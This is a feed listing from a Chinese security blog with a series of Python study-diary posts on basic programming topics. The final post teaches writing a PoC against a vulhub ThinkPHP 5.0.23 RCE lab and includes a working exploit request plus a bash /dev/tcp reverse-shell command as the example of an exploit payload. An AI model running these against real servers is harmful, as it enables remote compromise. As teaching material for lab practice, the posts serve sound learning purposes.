赛博保安日志 - 编程语言学习
type: channel
link: https://blog.anheng.tech/index.php/category/code_study/
items: Python学习日记（终）
items: Python学习日记（十八）
items: Python学习日记（十七）
items: Python学习日记（十六）
items: Python学习日记（十五）
items: Python学习日记（十四）
items: Python学习日记（十三）
items: Python学习日记（十二）
items: Python学习日记（十一）
items: Python学习日记（十）

Python学习日记（终）
type: item
date: 2021-12-01T11:12:00+08:00
description: 本篇文章记录的是Python编写poc和exp的知识。一、poc和exp的区别poc漏洞验证exp漏洞利用他们两个的本质区别是使用的 payload 不同 , 比如我一个远程命令执行的漏洞 , 当我的payload是 id/whoami这样的命令时 , 那么我整个脚本或者工具 , 就是poc , 因为我只是让他执行一下简单的系统命令来判断目标是否存在这样的漏洞 , 如果我的payload是一串 反弹shell的系统命令 如 /bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1 , 那么我整个工具就是一个exp , 可能这个poc和exp其他的代码都一模一样 , 只有要执行的命令 , 也就是这个命令 , 即 payload 不同 , 决定了这个脚本是poc还是exp二、编写thinkphp5 rce的poc环境自己使用vulhub搭建cd vulhub-master/thinkphp/5.0.23-rce docker-compose up -d使用 argparse 模块接收用户参数 , 加上banner信息import argparse import textwrap import requests import sys requests.packages.urllib3.disable_warnings() def main(url, func="phpinfo"): # 1.发请求 full_url = f"{url}/index.php?s=captcha" headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.0.60:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.0.60:8080/index.php?s=captcha", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,ja;q=0.8", "Connection": "close"} data = {"_method": "__construct", "filter[]": f"{func}", "method": "get", "server[REQUEST_METHOD]": "-1"} try: response = requests.post(full_url, headers=headers, data=data,verify=False, timeout=5, allow_redirects=False) except Exception: print(f"[-]{url} 请求失败") sys.exit(1) # 2.判断是否存在漏洞 if response.status_code == 200 and "PHP Extension Build" in response.text: print(f"[+]{url} 存在远程代码执行漏洞") else: print(f"[-]{url} 不存在远程代码执行漏洞") if __name__ == '__main__': banner = """ _ _ _ _ _ ____ | |_| |__ (_)_ __ | | ___ __ | |__ _ __| ___| _ __ ___ ___ | __| '_ \| | '_ \| |/ / '_ \| '_ \| '_ \___ \ | '__/ __/ _ \\ | |_| | | | | | | | <| |_) | | | | |_) |__) | | | | (_| __/ \__|_| |_|_|_| |_|_|\_\ .__/|_| |_| .__/____/ |_| \___\___…

Python学习日记（十八）
type: item
date: 2021-11-18T12:59:00+08:00
description: 本篇文章记录的是Python命令行编程知识。一、命令行编程什么是命令行编程呢？通过命令行的方式和用户交互，接收用户输入的数据，然后处理，结果再次通过命令行反馈给用户。对于安全人员编写poc和exp，你会发现很多python工具都是命令行版本的。1、input接收在之前的函数中，已经介绍过input函数了，这里我们直接开始案例。如果我们要编写一个RCE漏洞的exp，可以先构造我们的思路示例：url = input("请输入url: ").strip() cmd = input("请输入你要执行的系统命令: ").strip() # 简易模仿代码 print(f"正在对{url} 网站执行 {cmd} 这条系统命令") print("命令执行完成 , 命令的回显: root")稍微美化一下：def main(): banner = """cve-2022-4346-rce 使用方法 : 根据提示依次输入url和命令""" print(banner) url = input("请输入url: ").strip() cmd = input("请输入你要执行的系统命令: ").strip() # 简易模仿代码 print(f"正在对{url} 网站执行 {cmd} 这条系统命令") print("命令执行完成,命令的回显: root") if __name__ == '__main__': main()2、sys模块import sys print(sys.argv) # 接收py脚本传进来的参数 , 返回一个列表 , 一般用来获取命令行参数 # 我们编写poc可以通过它来获取用户传递过来的url , 要执行的命令等使用sys模块优化一下，这个时候接收参数，就不需要input接收了，而是通过sys.argv示例：import sys # def main(url, cmd): # 简易模仿代码 """真正具体对指定url执行命令的代码""" print(f"正在对{url} 网站执行{cmd} 这条系统命令") print("命令执行完成,命令的回显: root") if __name__ == '__main__': banner = """welcome use cve-2022-4346-rce 使用方法 : python3 cve-2022-4346-rce.py http://www.mhx.com id\n""" print(banner) if len(sys.argv) == 3: url = sys.argv[1] cmd = sys.argv[2] main(url, cmd) else: print("输入参数有误,请按照提示输入")退出函数import sys sys.exit(0) # 一旦执行这行代码 , 程序会直接退出 , 安全退出 sys.exit(1) # 一旦执行这行代码 , 程序会直接退出 , 报错退出二、argparse模块argparse模块是python标准库中推荐的命令行解析模块，也是一个内置模块。命令行参数可以提升脚本的灵活性，更加通用。完成参数解析一般用到getopt, optparse和argparse，其中argparse 是基于 optparse , 在Python3.2新推出的命令行参数解析模块 , 比较主流特点：支持可选参数支持子命令支持重复参数个数统计更加友好的使用提示该模块不但可以用来写poc/exp，还可以写一些命令行的渗透测试工具。初步：# 导入模块 import argparse # 实例化一个对象 , 并添加命令行的描述信息,一般在脚本中用来介绍脚本是干嘛的 parser = argparse.ArgumentParser(description="这是脚本的提示信息") # 调用parse_args方法 parser.parse_args()直接运行：# 直接运行 D:\python3 argparse模块.py # 使用-h参数 D:\python3 argparse模块.py -h usage: argparse模块.py [-h] 这是脚本的提示信息 optional arguments: -h, --help show this help message and exit # 使用一个不存在的参数 D:\python3 argparse模块.py -a usage: argparse模块.py [-h] argparse模块.py: error: unrecognized arguments: -a在没有任何选项 (参数) 的情况下运行脚本不会在标准输出显示任何内容。这没有什么用处。第二次运行开始展现出 argparse 模块的作用。我们几乎什么也没有做，…

Python学习日记（十七）
type: item
date: 2021-11-17T15:14:00+08:00
description: 本篇文章记录的是Python内置模块和requests模块知识。一、模块的介绍1、模块是什么模块 就是一系列功能 ( 函数 ) 的集合体模块的分类内置模块 c语言写的模块/python中自带的第三方模块 别人写好的模块/从网上下载自定义模块 自己自定义的一个python文件本身就是一个模块 , 文件名m.py , 模块名叫m2、 为什么要用模块内置与第三方的模块拿来就可以用，无需定义，这种拿来主义,可以极大的提升自己的开发效率可以将程序的各部分功能提取出来放到一模块中为大家共享使用减少了代码冗余，程序组织结构更加清晰3、 模块怎么使用import 导入[创建模块]# m.py print('======我是m模块中的print代码=====') x1 = 100 def get(arg): print("get ========%s" % arg)[导入模块]# 第一种方式 # import m # 模块导入的时候,里面的代码会执行 # 模块里面内容的访问 # 语法 # 模块名.属性名 # print(m.x1) # print(m.get(200))有点类似于 php 中的 inclde 包含 , 包含进来的文件 , 你是不是可以使用该文件里面定义好的功能from ... import .... 导入# foo.py print('======foo=====') x = 0 def get(arg): print("get ========%s" % arg)# 第二种方式 # from ... import .... 导入 # from foo import x # from 模块 import 名字 # print(x) from foo import get get(100) # 100简单了解的导入方式 , 我们来学习一下常见的内置模块补充 : 为什么你在别人的poc也好还是exp也好 , 总是有这样一个身影 , 就是def main(): pass if __name__ == '__main__': main() # main还好 , 是个函数 , 大家都知道 , 但是为什么要写在if __name__ == '__main__': , 我想调用他直接main() # 不就好了吗 , 这是因为什么呢 ? 当py脚本当成模块导入的时候我们知道 , 代码会被执行 , 假如有人一不小心把你的这个py脚本当成模块导入了 , 那不就自动执行了吗? 这个判断就是为了防止这件事情的发生的 # __name__ 就是一个特殊的变量而已 # 当py脚本当成模块导入 __name__ 是不等于 '__main__' 的 , 只有执行运行改脚本才是 __name__ == '__main__'包和模块的不同模块是一个单独的文件 包是一个文件夹 , 并且该文件夹下必须有一个 __init__.py这样的文件 导入包时 , 会自动运行 __init__.py 里面的代码其他的导入形式import numpy as np # as简单理解就是起别名 , 然后可以通过 别名.名字 调用属性 __import__('base64') # 以字符串形式导入 base64二、内置模块无需下载直接导入即可使用 , 是安装python就已经在你的电脑上安装好了的1、os模块os系列import os os.getcwd() # 获取当前工作目录(pwd)，即当前python脚本工作的目录路径 os.chdir("dirname") # 改变当前脚本工作目录;相当于shell下cd os.curdir # 返回当前目录:('.') os.pardir # 获取当前目录的父目录字符串名:( '..') os.mkdir('dirname') # 生成单级目录;相当于shell中mkdir dirname os.makedirs('dirname1/dirname2') # 可生成多层递归目录 os.rmdir('dirname') # 删除单级空目录，若目录不为空则无法删除，报错;相当于shell中rmdir dirname os.listdir('dirname') # 列出指定目录下的所有文件和子目录，包括隐藏文件，并以列表方式打印 os.remove("filename") # 删除一个文件 os.removedirs('dirname1') # 若目录为空,则删除,并递归到上一级目录，如若也为空，则删除,并递归倒上一层 os.rename("oldname", "newname") # 重命名文件/目录 os.name # 输出字符串指示当前使用平台。win-> 'nt '; Linux->'posix' os.system("bash comm…

Python学习日记（十六）
type: item
date: 2021-11-16T15:35:00+08:00
description: 本篇文章记录的是Python面向对象的知识。一、什么是面向对象面向对象编程是一种编程思想 , 一种编程范式 , 不是只有python才有 , 而是所有的编程语言都可以用面向对象的思想去写代码 , 那么面向对象到底是什么 ?面向对象的核心是对象二字，而对象的精髓在于整合，什么意思？所有的程序(脚本) 都是由 "数据" ( 变量 ) 与 "功能"(函数) 组成，因而编写程序的本质就是定义出一系列的数据，然后再定义出一系列的功能来对数据进行操作。示例一个游戏中一个用户 , 每天的打卡代码name = "小王" age = 21 addr = "信思智学" def da_ka(): print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功") da_ka()上述代码是不是有数据 有功能 , 整个程序抽象成网络游戏中的一个用户每天必须要做的事情 , 那如果有一个新注册的用户小李 , 是不是每天也要做这样的事情 , 程序背后的代码是不是还是这几行 ? 只不过数据的值可能要变name = "小李" age = 22 addr = "信思智学" def da_ka(): print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功") da_ka()二、为什么要有面向对象如果当前这个游戏 背后所有用户的打卡代码都这样 , 是不是非常的冗余 , 既然都是用户 , 那么都会有三个变量要创建对吧 , 我们把这三个变量称之为属性 , 以及一个打卡函数 , 我们称之为功能 , 我们能不能把这些属性和功能封装到一个类似像函数那样的代码中 , 我们只需要传入不同的值就可以实现这样的打卡功能了可以的 , 面向对象编程就可以实现 , 把公有的一些属性和方法 , 封装到一个类中 , 然后通过类实例化出不同的对象这个不同取决于我们在实例化对象时候传入的值是不同的 , 所以实例化出的对象也是不同的 , 然后通过对象去调用打卡功能 , 那在python中如何编写这样的代码呢?三、面向对象的代码如何编写1、类的定义语法class 类名: 类中的代码 # 关于类名的定义规范和变量很相似 , 只不过它的首字母要大写 , 多个单词组成的话 , 推荐使用驼峰法其中解释器运行到类定义代码的时候 , 就会被执行 , 不像函数 , 函数里的代码只有当调用时才会被执行 示例class A: print("111")2、实例化对象关于类中的代码 , 如何设计 , 怎么写 , 我们以上面的那个例子为例第一版class User: # 相同的属性 addr = "信思智学" # 公有的方法 def da_ka(self, age, name, addr): print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功")先看如何通过类实例化出来对象 实例化对象# 语法 # 类名() obj1 = User() obj2 = User() obj3 = User()3、属性的访问# 语法 # 对象.属性 print(obj1.addr) print(obj2.addr) print(obj3.addr)4、新增属性即为对象定制自己独有的属性# 语法 对象.属性 = 值 obj1.name = "小王" obj1.age = 21 obj2.name = "小李" obj2.age = 22 print(obj1.name) print(obj2.name) # 补充 如果属性存在会修改当前对象的属性值 , 其他对象还是原来的属性值5、方法的访问# 语法 # 对象.方法() obj1.da_ka(obj1.name,obj1.age,obj1.addr)6、初始化方法如果我的程序 , 现在要再创建3个对象 , 并且还要新增自己独有的属性值 , 那么这样的代码是不是还要写3遍obj2.name = "小强" obj2.age = 23 .......代码是不是很重复 冗余 , 既然重复 冗余我们能不能封装成一个函数 , 每次想新增属性 , 只需要调用函数 , 然后传递不同的参数即可第二版class User: # 相同的属性 addr = "信思智学" # 公有的方法 def da_ka(self, age, name, addr): print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功") def init(obj,name,age): obj.name = name obj.age = age obj3 = User() obj4 = User() obj5 = User() init(obj3,"小强",23) i…

Python学习日记（十五）
type: item
date: 2021-11-15T12:19:00+08:00
description: 本篇文章记录的是Python匿名函数和面向过程编程的知识。一、lambda对比使用def关键字创建的是有名字的函数，使用lambda关键字创建则是没有名字的函数，即匿名函数语法如下：lambda 参数1，参数2：返回值[定义]lambda x, y: x + y # lambda自带一个return print(lambda x, y: x + y)[调用]# 调用匿名函数 : 函数内存地址 + () # 方式一: res = (lambda x, y: x + y)(1, 2) print(res) # 方式2: x = (lambda x, y: x + y) res1 = x(3, 5) print(res1)以上都不是匿名函数的真正调用方式 , 因为匿名函数的精髓就在于没有名字 , 你这又搞出来一个名字 , 那你干嘛不 用有名函数 def 关键字定义呢?[应用场景]匿名函数与有名函数有相同的作用域，但是匿名意味着引用计数为0，使用一次就释放，所以匿名函数用于临时使用一次的场景，匿名函数通常与其他函数配合使用[max函数]接收一个可迭代对象 , 然后比较 , 返回最大值 , 可设置比较的依据# 需求:打印出薪资最高的那个人的名字 salary_dic = {'tom': 100, 'alex': 500, 'jack': 200} res = max(salary_dic) # max直接迭代字典,只会把字典的key作为比较依据,我们需要把值作为依据,可指定key的值def func(k): return salary_dic[k] res = max(salary_dic, key=func) # max会把迭代的每一个值传递给key指定的函数内存地址当做实参,然后通过函数的返回值作为比较的依据 print(res) # alex但是你发现了吗 , func这个函数 , 只适用于这次比较大小 , 没有其他可用的作用了 , 既然只用一次 , 那么用匿名函数岂不美哉# k就是函数的形参,实参在代码层面你是看不到的,但是执行起来会传参 res = max(salary_dic, key=lambda k: salary_dic[k]) print(res)[min函数]salary_dic = {'tom': 100, 'alex': 500, 'jack': 200} # max取最大,min取最小 res1 = min(salary_dic, key=lambda k: salary_dic[k]) print(res1)[stored函数]sorted 排序,也可以指定比较依据,默认reserve=False,是从小到大排列,可以设为True,从大到小排列salary_dic = {'tom': 100, 'alex': 500, 'jack': 200} res2 = sorted(salary_dic, key=lambda k: salary_dic[k]) print(res2)二、面向过程编程1、 介绍面向过程(Procedure Oriented)是一种以过程为中心的编程思想，是一种基础的方法，它考虑的是实际地实现基于该思想编写程序就好比一条流水线首先分析出解决问题所需要的步骤，然后用函数把这些步骤一步一步实现，使用的时候一个一个依次调用就可以了比如拿学生早上起来去上学这件事说明面向过程，粗略的可以将过程拟为：(1) 起床(2) 穿衣(3) 洗脸刷牙(4) 去学校# 第一步,起床 def get_up(): print('我起床了') # 第二步,穿衣 def dress(): print("穿衣服") # 第三步,洗脸刷牙 def brush_teeth(): print('刷牙,洗脸') # 第四步,去学校 def go_school(): print("去学校") def main(): get_up() dress() brush_teeth() go_school() 这4步就是一步一步地完成，它的顺序很重要，你只需要一个一个地实现就行了。而如果是用面向对象的方法的话，可能就只抽象出一个学生的类，它包括这四个方法，但是具体的顺序就不一定按照原来的顺序。2、 优缺点[优点]复杂问题流程化 , 进而简单化 , 这也是计算机最本质的工作模式 , 最喜欢的工作模式 , 一步一步的来[缺点]扩展性非常差3、 应用场景不是所有的软件都需要频繁更迭 : 比如编写脚本即便是一个软件需要频繁更迭，也不并不代表这个软件所有的组成部分都需要频繁迭代总结对于我们 python&安全 , 基本上刚开始写的都是一些小脚本 , 这样写就ok了 如果你是做大型项目 , 这个需要学习一下系统的 python开发

Python学习日记（十四）
type: item
date: 2021-11-14T12:10:00+08:00
description: 本篇文章记录的是Python函数对象和嵌套的知识。一、函数对象精髓：可以把函数名当成变量名去用函数名和变量名一样，都是指向的是内存地址二、函数名的用途1、可以赋值把一个函数名赋值给另一个变量名# func=函数的内存地址 def func(): pass f=func print(func) # <function func at 0x000001E78F9B3EA0> print(f) # <function func at 0x000001E78F9B3EA0>2、当参数函数名也可以当做参数传给另一个函数def func(): pass def foo(x): # × = func的内存地址# print(x) x() foo(func) # foo( func的内存地址)3、当返回值函数名也可以当函数的返回值def func(): pass def foo(x): return x res = foo(func) print(res)4、当元素函数名可以当做容器类型的一个元素def func(): print('func函数: ',func) l=[func,] print(l) l[0]() # 调用func函数 dic={ 'k1' :func} print(dic) dic['k1']() # 调用func函数5、小练习def login(): print('登录功能') def transfer(): print('转账功能') def check_balance(): print('查询余额') def change_password(): print('修改密码') # 巧用数据类型 dic = { # '1': login, '0': ('退出', None), '1': ['登录', login], '2': ['转账', transfer], '3': ['查询余额', check_balance], '4': ['更改密码', change_password], # '2': transfer, # '3': check_balance, } while 1: for key, value in dic.items(): print('{} {}'.format(key, value[0])) choice = input('请输入编号:').strip() if not choice.isdigit(): print('必须输入编号,憨批') continue if choice == '0': break if choice in dic: dic[choice][1]() else: print('你输入的命令不存在,憨批')三、函数的嵌套1、函数的嵌套调用在调用一个函数的过程又调用其他的函数def func1(): print("调用了func1函数") def func2(): print("调用了func2函数") def func3(): print("调用了func3函数") def func(): func1() func2() func3()应用场景：把各个小功能（小函数），封装到一个大功能（大函数）里面def max2(x, y): return x if x > y else y # 比较4个参数的大小 def max4(a, b, c, d): # 比较a,b得到res1 res1 = max2(a, b) # 比较res1,c,得到res2 res2 = max2(res1, c) # 比较res2,d ,得到res3 res3 = max2(res2, d) return res3 print(max4(7838237, 9859, 949, 90))2、函数的嵌套定义在函数内定义其它的函数def func(): def func1(): pass # 举例: # 求圆的周长和面积,但是只在圆内调用,在其他地方不用 from math import pi def circle(radius, action=None): "radius:半径 action为0是求周长 action为1是求面积 " def get_perimeter(radius): return 2 * radius * pi def get_area(radius): return pi * radius ** 2 # 求圆的周长 if action == 0: return get_perimeter(radius) # 求圆的面积 elif action == 1: return get_area(radius)==上面的应用场景比较少 , 函数的嵌套定义更多的用在闭包==# 函数的嵌套定义你可以认…

Python学习日记（十三）
type: item
date: 2021-11-13T12:14:00+08:00
description: 本篇文章记录的是Python名称空间和作用域的知识。一、名称空间名称空间，名称即名字，空间就是存放东西的地方，那么名称空间你可以理解为就是放名字的地方，变量名是放在栈区的，变量值是放在堆区的，实际上名称空间是对栈区的划分，有了名称空间我们就可以在栈区中存放相同的名字了，名称空间让他们相互隔离开来，进而也实现了资源隔离，名称空间是一种虚拟化的划分，栈区是真实存在的。==我们讲名称空间只考虑名字 , 是不考虑值的 , 因为名字太重要了 , 通过名字可以引用到值==二、三种名称空间1、 内置名称空间存放python解释器内置的名字 , 比如 print input等>>> print <built-in function print> >>> input <built-in function input>存活周期 ：python解释器启动则产生，python解释器关闭则销毁2、 全局名称空间只要不是函数内定义、也不是内置的，剩下的都是全局名称空间的名字import os # os是存放在全局名称空间的名字 x = 123 # x是存放在全局名称空间的名字 def func(): pass func # func是存放在全局名称空间的名字存活周期 ：python文件执行则产生，python文件运行完毕后销毁3、 局部名称空间在调用函数时，运行函数体代码过程中产生的函数内的名字(变量名)def func(): x = 10 y = 20 func() # 函数调用就会产生x,y这两个名字,放在局部名称空间 函数结束,名字就会被销毁存活周期 : 在调用函数时存活，函数调用完毕后则销毁==友情提示 :==# 函数的每次调用都会产生一个局部名称空间,哪怕是一个空函数, # 或者一直调用同一个函数,也会每次都会产生不同的局部名称空间三、 三种顺序1、 名称空间加载顺序名称空间的加载顺序你也可以认为是名称空间的生成顺序# 内置名称空间>全局名称空间>局部名称空间2、 名称空间销毁顺序# 局部名称空间>全局名空间>内置名称空间3、 名字查找顺序==名字的查找顺序是以定义阶段为准的,从当前位置往外一层一层的找==# 当前所在的位置向上一层一层查找 # 内置名称空间 3层 # 全局名称空间 2层 # 局部名称空间 1层 # 这里的层是我个人抽象出来的# 如果当前在局部名称空间: # 局部名称空间->全局名称空间->内置名称空间# 如果当前在全局名称空间 # 全局名称空间->内置名称空间# 举个栗子 x = 1 def func(): print(x) def foo(): x = 222 func() foo() # 打印1 # 名称空间的"嵌套"关系是以函数定义阶段为准，与调用位置无关 x = 1 def foo(): x = 222 def func(): print(x) func() foo() # 打印222 虽然函数的定义不会执行代码，但是会在函数内部搞一个名字，会先存个名字，等到调用的时候在会具体赋值input = 111 def f1(): def f2(): print(input) input = 222 f2() input = 333 f1() # 运行打印222四、 作用域域是指范围的意思，作用域就是作用范围的意思按照名字作用范围的不同可以将三个名称空间划分为两个区域： 全局作用域与局部作用域1、 全局作用域全局作用域 : 位于全局名称空间、内置名称空间中的名字属于全局范围，该范围内的名字全局存活（除非被删除，否则在整个文件执行过程中存活）、全局有效（在任意位置都可以使用）；# 特点: 全局存活 # 全局有效 被所有函数共享2、 局部作用域局部作用域:位于局部名称空间中的名字属于局部范围。该范围内的名字临时存活（即在函数调用时临时生成，函数调用结束后就释放）、局部有效（只能在函数内使用）。# 特点: 临时存活 # 局部有效 : 函数内有效3、 locals和globals# locals() 函数返回局部作用域中所有的名字 # globals() 函数返回全局作用域中所有的名字 # 返回的内容格式是字典格式 def func(): x = 1 print(locals()) func() # {'x': 1}五、global和nonlocal1、 global(了解)在函数内，无论嵌套多少层，都可以查看到全局作用域的名字，若要在函数内修改全局名称空间中名字的值，当值为不可变类型时，则需要用到global关键字name = "ymn" def func(): global name # 把全局中的名字加载到局部内 name = 'dl' # 修改对应的值，这个值不会因为函数的结束，就销毁了，因为它作用到全局 print(name…

Python学习日记（十二）
type: item
date: 2021-11-12T16:09:00+08:00
description: 本篇文章记录的是Python函数参数的知识。一、形参和实参1、形参形参：在定义函数阶段定义的参数叫做形式参数，简称形参，相当于变量名。==函数在定义阶段括号内指定的变量名==def func(x): # x就是形参 print(x)2、实参实参：在调用函数阶段传入的值称之为实际参数，简称实参，相当于变量值，值可以是常量，变量、表达式或三者的组合。==函数在调用阶段括号内传入的值。==def func(name): print(f'我的名字是{name}') func('tom') # 'tom'就是实参 3、形参和实参的关系在调用阶段，实参（变量值）会绑定给形参（变量名），绑定不是目的，目的是在函数体中使用，函数调用结束后，这种绑定关系就会解除，所以无法再函数体外使用。二、三种参数1、位置参数位置参数：按照从左到右的顺序依次定义的参数称之为位置参数。位置形参：在函数定义阶段，按照从左到右的顺序直接定义的变量名。特点：必须传值，多一个不行，少一个也不行。def func(x,y,z): # x,y,z 三个位置形参 return x + y + z位置实参：在函数调用阶段，按照从左到右的顺序依次传入的值。特点：按照顺序与形参一一对应：def func(x,y,z): return x + y + z func(1,2,3) # 1,2,3 三个位置实参,依次传给x,y,z2、关键字参数关键字实参：在函数调用阶段，按照key=value的形式传入的值特点：指名道姓给某个形参传值，可以完全不按照顺序混合使用：位置实参必须放在关键字实参前面不能为同一个形参重复传值def foo(x,y): return x + y foo(1,y=2) foo(y=2,1) # 报错 foo(1,y=2,x=3) # 报错 foo(1,2,x=3,y=4) # 报错3、默认值参数默认形参：在函数定义阶段，就已经被赋值的形参，称之为默认参数特点：在函数定义阶段就已经被赋值，意味着在调用阶段可以不用为其赋值，也可以赋值改变默认值。def func(x,y=1): return x+y func(1) func(1,2) func(x=1,y=1) func(10,y=20)混合使用：位置参数必须在默认值参数前面：def func(x,y=100): return x + y4、形参如何定义位置形参：当每次函数调用传进来的参数都是不一样的，但是又是必须传入的时候默认值参数：当每次函数调用传进来的参数大都是不变的，应该设为默认值参数。注册小示例:def register(name,age,sex):print(name,age,sex) register('小明',20,'男')register('小红',19,'女')register('小强',22,'男')register('小亮',23,'男')这个时候发现性别大多数都是男,于是你可以在函数定义的时候设置一个默认值参数,即sex='男'def register1(name,age,sex='男'): print(name,age,sex) register1('小明',20) register1('小红',19,'女') register1('小强',22) register1('小亮',23) # 当遇到女同学的时候,才传入sex的值,默认情况下我们把性别设置成男三、可变长度参数（与*）可变长度指的是在调用函数时，传入的值（实参）的个数不固定，而实参是用来为形参赋值的，所以对应着，针对溢出的实参必须有对应的形参来接收。1、可变长度的位置参数形参名：用来接收溢出的位置实参，溢出的位置实参会被保存成元组的格式然后赋值紧跟其后打的形参名。星号后面的形参名可以是任意名字，但是约定俗称为args，即*args。# 示例: def func(x,y,*z) print(x,y,z) # 1 2 (3,4,5) func(1,2,3,4,5) ==*在实参中应用（星号后面跟可迭代对象）==：实参中带*，在星号后面的值会被打散成位置参数：def func(x,y,z): print(x,y,z) func(*[1,2,3]) # func(1,2,3)# 小练习 def func1(x,y,*args): print(x,y,args) # 1 2 (3,4,5) func1(1,2,*[3,4,5]) def func2(x,y,*args): print(x,y,args) # h e ("l","l",'o') func2(*"hello")2、可变长度的关键字参数**形参名:用来接收溢出的关键字实参 , 溢出的关键字实参会被**保存成字典的格式然后赋值紧跟其后打的形参名星星号后面的形参名可以是任意名字，但是…

Python学习日记（十一）
type: item
date: 2021-11-11T11:11:00+08:00
description: 本篇文章记录的是Python函数的基本使用的知识。一、函数介绍1、什么是函数函数就相当于具备某一功能的工具，就像爆米花机，给玉米就会造出爆米花。2、为什么要用函数组织结构清晰，可读性强代码精简可维护性强，扩展性强3、如何使用函数先定义后调用返回值二、函数定义1、函数定义函数的使用必须遵循先定义，后调用的原则，函数的定义就相当于事先将函数体代码保存起来，然后将内存地址赋值给函数名，函数名就是对这段代码的引用，这和变量的定义是相似的，没有事先定义函数而直接调用，就相当于在引用一个不存在的变量名，同时函数名的命名规范也和变量名一样的，字母数字下划线组成。定义函数的语法：def 函数名(参数1,参数2,...): """文档描述""" 函数体 return 值 # def是关键字,return是返回值定义函数会发生的事情：申请内存空间保存函数体代码将上述内存地址绑定给域名定义函数不会执行函数体代码，但是会检测函数体语法def func(): x print('hello word') # 运行,不报错 def func(): print('你好' # 运行,报语法错误 2、三种定义形式（1）无参函数没有参数的函数def func(): print('无参函数') func()应用场景：只需要完成某种功能不需要外部的原材料，即不需要参数（2）有参函数有参数的函数 def func(x,y): # x = 1 y = 2 print(x,y) func(1,2)应用场景：函数体需要外部传来的原材料，对其引用，需要有参数传递（3）空函数函数体代码：PASS（。。。）def func(): pass func()三、调用函数函数的调用语法：函数名（）调用函数发生的事情通过函数名找到函数的内存地址通过加括号就是在出发函数体代码的执行1、语句形式def func(): print('hello word') func() 2、表达式形式def func(): x = 10 y = 20 return x + y res = func() # 利用函数的返回值赋值给res print(res)3、函数调用作为参数def func(x,y): return x * y m = func(func(2,3),9) # func(2,3)的返回值作为函数func的第一个参数四、函数的返回值return是函数结束的标志，即函数体代码一旦运行到return会立刻终止函数的运行若需要将函数体代码执行的结果返回给调用者（函数名（）），则需要用到return，return后无值或直接省略return，则默认返回none，return的返回值无类型限制，且可以将多个返回值放到一个元组内# 1.不返回值 def func1(): x = 1 print(func1()) # None # 2.返回空值 def func2(): return print(func2()) # None # 3.返回一个值 def func3(): x = 10 return x print(func3()) # 10 # 4.返回多个值,逗号隔开 , 本质是返回一个值 元组 def func4(): x = 10 y = {"name":'alex'} return x,y print(func4()) # (10,{"name":'alex'})

Python学习日记（十）
type: item
date: 2021-11-10T14:12:00+08:00
description: 本篇文章记录的是Python字符编码的知识。字符编码谈字符编码，首先谈谈和字符相关的知识一、预备知识1、 python的字符相关（1）字符串我们之前就了解并学习过字符串就是由一串字符组合形成的，毋庸置疑谈字符编码肯定和字符串有关（2） 文本文件在我们没有接触python之前，你可能就已经接触了word文件，尤其是在学生时代，各种通知，作业都是wordword文件本质上就是文本文件，由很多字符组成，只不过当初的你把它叫做汉字或者英文字母。2、 三大核心硬件首先所有的软件都是运行在硬件之上的，与运行软件相关的三大核心硬件分别为cpu，内存，硬盘。首先明确：软件运行之前，软件的代码以及相关的数据都是保存在硬盘上的任何软件的运行都是把数据从硬盘中读入到内存，然后cpu从内存中取出指令执行软件运行过程中产生的数据都是先保存在内存中的，如果想要永久保存数据，则需要将数据由内存写入到硬盘中2、 文本编辑器读取文件内容的流程#阶段1、启动一个文件编辑器（文本编辑器如nodepad++，pycharm，word） #阶段2、文件编辑器会将文件内容从硬盘读入内存 #阶段3、文本编辑器会将刚刚读入内存中的内容显示到屏幕上3、 python解释器执行文件的流程以python test.py为例，执行流程如下#阶段1、启动python解释器，此时就相当于启动了一个文本编辑器 #阶段2、python解释器相当于文本编辑器，从硬盘上将test.py的内容读入到内存中 #阶段3、python解释器解释执行刚刚读入的内存的内容，开始识别python语法4、总结python解释器与文件本编辑的异同如下#1、相同点：前两个阶段二者完全一致，都是将硬盘中文件的内容读入内存，详解如下 python解释器是解释执行文件内容的，因而python解释器具备读py文件的功能，这一点与文本编辑器一样 #2、不同点：在阶段3时，针对内存中读入的内容处理方式不同，详解如下 文本编辑器将文件内容读入内存后，是为了显示或者编辑，根本不去理会python的语法，而python解释器将文件内容读入内存后，可不是为了给你瞅一眼python代码写的啥，而是为了执行python代码、会识别python语法）二、字符编码介绍1、 什么是字符编码当我们在和计算机进行交互时，用的全都是字符，就是我们人类都够认识的字符，比如中文字符，英文字符等但是我们都知道计算机只认识0101这种二进制数字。那么我们在打字，编辑文档的时候，一定会经历一个过程就是把我们人类能够认识的字符转化成010101数字翻译的时候肯定必须参照一个标准，该标准称之为字符编码表，该表上存放的就是字符与数字一 一对应的关系。即人类字符和数字的对应关系的一张表，就是字符编码表。编码就是按照字符编码表翻译的意思，2、解释一下你看到的字假如你敲了一个牛叉，计算机会参照字符编码表，把牛叉翻译成0101这种二进制数字存到内存中，然后你的文本编辑器又从内存中把这串二进制数字从内存中取了出来，按照同一张字符编码表反解成对应的字符，显示出来。由于这个过程太快了，你根本感知不到。三、字符编码表的发展史首先计算机是美国人发明的，所以当初设定第一张对照表的是美国人，且只有美国人认识的英文字符。1、第一张字符编码表——ASCII对照表ASCII对照表的特点：只有英文字符与数字的一一对应关系一个英文字符对应1Bytes，1Bytes=8bit（位），8bit最多包含256个数字，可以对应256个字符，足够表示所有英文字符注意：英文字符不等同英文字母，字符包括：大小写字母，标点符号，数字，空白。2、 